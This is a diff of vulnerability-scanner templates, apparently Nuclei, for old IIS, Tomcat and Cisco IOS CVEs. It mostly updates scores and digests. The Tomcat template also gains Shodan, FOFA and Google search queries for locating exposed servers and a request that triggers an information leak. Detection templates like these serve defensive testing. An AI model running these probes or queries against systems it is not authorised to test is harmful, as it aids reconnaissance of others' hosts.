+# digest: 4b0a00483046022100a72a51f95669d2d3d9bbf9049f8a7b16de946e8db37707c62c59e9dfa8bfa22b022100f5d2abb657c63d1434b85f9acdad8c21855471d2944a6785ca99c639281fb81a:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2000-0114
-    epss-score: 0.04728
-    epss-percentile: 0.88952
+    epss-score: 0.05458
+    epss-percentile: 0.89763
    cpe: cpe:2.3:a:microsoft:internet_information_server:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -59,4 +59,4 @@ http:
        group: 1
        regex:
          - 'version:([0-9.]+)'
-# digest: 490a0046304402202fca682465a978b196e1b805f2a1fa804bc63acf07d27f253ab51b93453c04b5022068e855f38262c3f4bd824ff09d01b9f66d7fe1f861128402d44c854cb5de21aa:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f22c77a68f70bef8ea54e891cccac67ec3b836cd88a188f06a7ef0913090c6a1022100b10462741abdb4ffaf924586a4a8df69c1a04f3d9facc96796a7d2375139582e:922c64590222798bb761d5b6d8e72950
@@ -1,29 +1,46 @@
 id: CVE-2000-0760

 info:
-  name: Jakarta Tomcat 3.1 and 3.0 - Exposure
-  author: Thabisocn
-  severity: low
+  name: Jakarta Tomcat 3.1 and 3.0 - Information Disclosure
+  author: Thabisocn,0x_Akoko
+  severity: medium
  description: |
-    The Snoop servlet in Jakarta Tomcat 3.1 and 3.0 under Apache reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension.
+    Jakarta Tomcat 3.1 and 3.0 under Apache contain a vulnerability in the Snoop servlet that reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension, exploit requires remote access.
+  impact: |
+    Attackers can retrieve sensitive system information, potentially aiding further attacks or information disclosure.
+  remediation: |
+    Update to the latest version of Jakarta Tomcat or apply security patches that fix the Snoop servlet issue.
  reference:
-    - https://vulners.com/nessus/TOMCAT_SNOOP.NASL
+    - https://www.exploit-db.com/exploits/20132
    - https://nvd.nist.gov/vuln/detail/CVE-2000-0760
  classification:
-    epss-score: 0.68493
-    epss-percentile: 0.98547
+    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
+    cvss-score: 6.4
+    cve-id: CVE-2000-0760
+    epss-score: 0.33581
+    epss-percentile: 0.96746
+    cpe: cpe:2.3:a:apache:tomcat:3.0:*:*:*:*:*:*:*
  metadata:
-    max-request: 1
    verified: true
-    google-query: site:*/examples/jsp/snp/snoop.jsp
+    max-request: 1
    vendor: apache
    product: tomcat
-  tags: cve,cve2000,jakarta,tomcat,exposure,info-leak,vuln
+    shodan-query:
+      - cpe:"cpe:2.3:a:apache:tomcat"
+      - http.component:"apache tomcat"
+      - product:"tomcat"
+    fofa-query:
+      - body="apache tomcat"
+      - body="jk status manager"
+    google-query:
+      - site:*/examples/jsp/snp/snoop.jsp
+      - intitle:"apache tomcat"
+  tags: cve,cve2000,jakarta,tomcat,exposure

 http:
  - method: GET
    path:
-      - "{{BaseURL}}/examples/jsp/snp/snoop.jsp"
+      - "{{BaseURL}}/examples/jsp/snp/anything.snp"

    matchers-condition: and
    matchers:
@@ -38,4 +55,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a0048304602210090b625a54f81b8544c2c5d860c296bb8011f223b667acd53d25b8a12029f975c0221008f4c5f4d505de5b93068341faa907c76ca5b04d773a096b3eb7e1666715b57d9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ee147459e569e7326a90299a5191f522252c657a3a1a8c1cc9ec2d5e2005958102206e62605d31c1449561c7e8da5234913a4177e8840cba078ea40c9083c12736e8:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2001-0537
    cwe-id: CWE-287
    epss-score: 0.93696
-    epss-percentile: 0.99837
+    epss-percentile: 0.99833
    cpe: cpe:2.3:o:cisco:ios:11.3:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -53,4 +53,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402202056e7ed0c90326fd4acd7e26e247262ad16182178fd604ef84b41bb5362173b0220082886349ab1a891a4f7da42b9b9c73c6110eef00c8f8302d881ccc094408b42:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022071c52237ad4600aefc939b56d9d634140f4634294b4070fa9398192ccd5836cd022100a4fea2b605c0b7f7e2e9df142446b86a371d0b2a14576f7c64eb5a308e22e639:922c64590222798bb761d5b6d8e72950